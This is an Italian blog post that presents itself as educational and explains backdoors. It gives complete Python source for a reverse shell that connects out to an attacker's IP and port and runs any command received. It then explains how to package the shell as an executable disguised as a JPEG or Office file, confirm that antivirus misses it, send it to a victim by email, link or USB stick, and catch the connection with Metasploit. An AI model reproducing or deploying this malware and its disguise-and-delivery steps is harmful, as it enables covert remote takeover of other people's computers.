giovedì 28 aprile 2016

Che cos'è una backdoor e perché può essere molto pericolosa

Attenzione: questo post è puramente a scopo didattico/informativo e non vuole in alcun modo incoraggiare attività illecite. Prova le seguenti tecniche solo nella tua rete locale o se sei stato autorizzato. Ricorda che l’accesso abusivo a un sistema informatico è un reato punibile in quasi tutti gli Stati del mondo. 

Negli ultimi anni, il termine backdoor è entrato nell’uso comune per indicare un software malevolo (o malware) che consente di prendere il controllo di un sistema remoto. Questa tecnica viene ampiamente utilizzata per violare le reti aziendali, ma anche per infiltrarsi nei dispositivi degli utenti bypassando le normali misure antintrusione (firewall, antivirus, ids ecc).

Al giorno d’oggi, esistono numerosi framework in grado di automatizzare la creazione di backdoor all’interno di file apparentemente innocui come documenti Word o PDF. Tuttavia, i più comuni antivirus in commercio rileveranno la minaccia e renderanno vani i nostri tentativi, per cui la soluzione migliore è imparare a creare da soli la propria backdoor.

In questo post, dimostrerò com’è possibile ottenere una reverse shell, ossia il prompt dei comandi di un pc remoto, senza che la vittima si accorga di essere spiata. Per l’occasione ho scritto una “mini” backdoor in Python che userò per simulare un attacco nella mia rete locale. Ecco il codice:
 import os  
 import socket  
 import subprocess  
 HOST = '192.168.1.102'   
 PORT = 4444        
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 s.connect((HOST, PORT))  
 s.send('Connessione stabilita (premi INVIO per continuare)')  
 try:  
   while 1:  
     data = s.recv(1024)  
     if data.startswith('cd') == True:  
       try:  
         os.chdir(data[3:].replace('\n',''))  
         s.send ('Directory corrente: '+str(os.getcwd()))  
       except:  
         s.send('Impossibile trovare il percorso specificato')  
       continue;  
     else:  
       run_cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)  
       output = run_cmd.stdout.read()  
       output += run_cmd.stderr.read()  
       s.send(str(output)+'[shell]:')  
 except:  
   s.close()  

Com'è strutturato

Quando creiamo uno script con Python, la prima cosa da fare è importare i moduli che ci serviranno per gestire i vari eventi. Nel caso specifico, avremo bisogno di tre moduli:
  • os: ci permette di eseguire alcuni comandi specifici del Sistema Operativo su cui si trova la vittima;
  • socket: apre un flusso di comunicazione bidirezionale tra host/programmi diversi. Lo useremo per inviare e ricevere dati;
  • subprocess: lancia nuovi processi di sistema fornendo all'attaccante la possibilità di interagire con una shell di tipo bash, cmd.exe ecc.

Dopo aver stabilito come l’interprete dovrà organizzare il codice, creiamo due variabili: una per l’indirizzo ip e l’altra per la porta su cui vogliamo ricevere la connessione. Trattandosi di un attacco reverse shell, non saremo noi a connetterci alla vittima, bensì sarà la vittima a connettersi a noi mettendoci a disposizione il prompt. 

Attraverso la funzione connect(), la nostra backdoor si collegherà a noi, e per essere certi che la connessione sia andata a buon fine, le faremo inviare una stringa. A questo punto, ho inserito il codice in un blocco try al fine di sollevare un’eccezione se il socket non viene chiuso correttamente, poiché in tal caso genererebbe un errore sullo schermo della vittima.

Per continuare a ricevere comandi dal server e mandarli in esecuzione, abbiamo bisogno di un loop infinito, all’interno del quale il blocco if consente di cambiare directory avvisandoci se il percorso non esiste o non è corretto. L’ultima porzione di codice si occupa di eseguire il comando richiesto e di inviarlo in output al rispettivo handler sotto forma di stringa. 

Dimostrazione pratica

Ora che abbiamo visto come lavorerà il nostro script, non ci resta che convertirlo in un file .exe da inviare alla vittima. Per rendere il tutto più credibile, possiamo camuffarlo da jpeg o da semplice Documento Office. È qui che entra in gioco PyInstaller di cui ho parlato in precedenza. Come prima cosa, copiamo la backdoor (ed eventualmente l’icona che vogliamo assegnarle), in C:\Python27\Scripts, dopodiché lanciamo da terminale il comando (ricordatevi di inserire i nomi dei vostri file):


Il risultato, visibile nella cartella dist, sarà un eseguibile stand-alone in tutto e per tutto simile ad un jpeg:


Proverò adesso a scansionarlo per vedere se l'antivirus me lo rileva come minaccia:


Ottimo, il file è “pulito”, possiamo inviarlo al bersaglio via mail, tramite link o installarlo fisicamente con una pendrive, prima però dobbiamo impostare un listener su cui ricevere la connessione. Userò il modulo multi/handler di Metasploit, noto framework di exploitation che trovate preinstallato su tutte le distro Linux dedicate al pentesting:


Anche in questo caso, non dimenticate di inserire il vostro local host. Una volta che la vittima avrà aperto il file, potremo curiosare tra le sue cartelle…


…o magari lasciarle un ricordino per farle capire che siamo passati. :-D


Nessun commento:

Posta un commento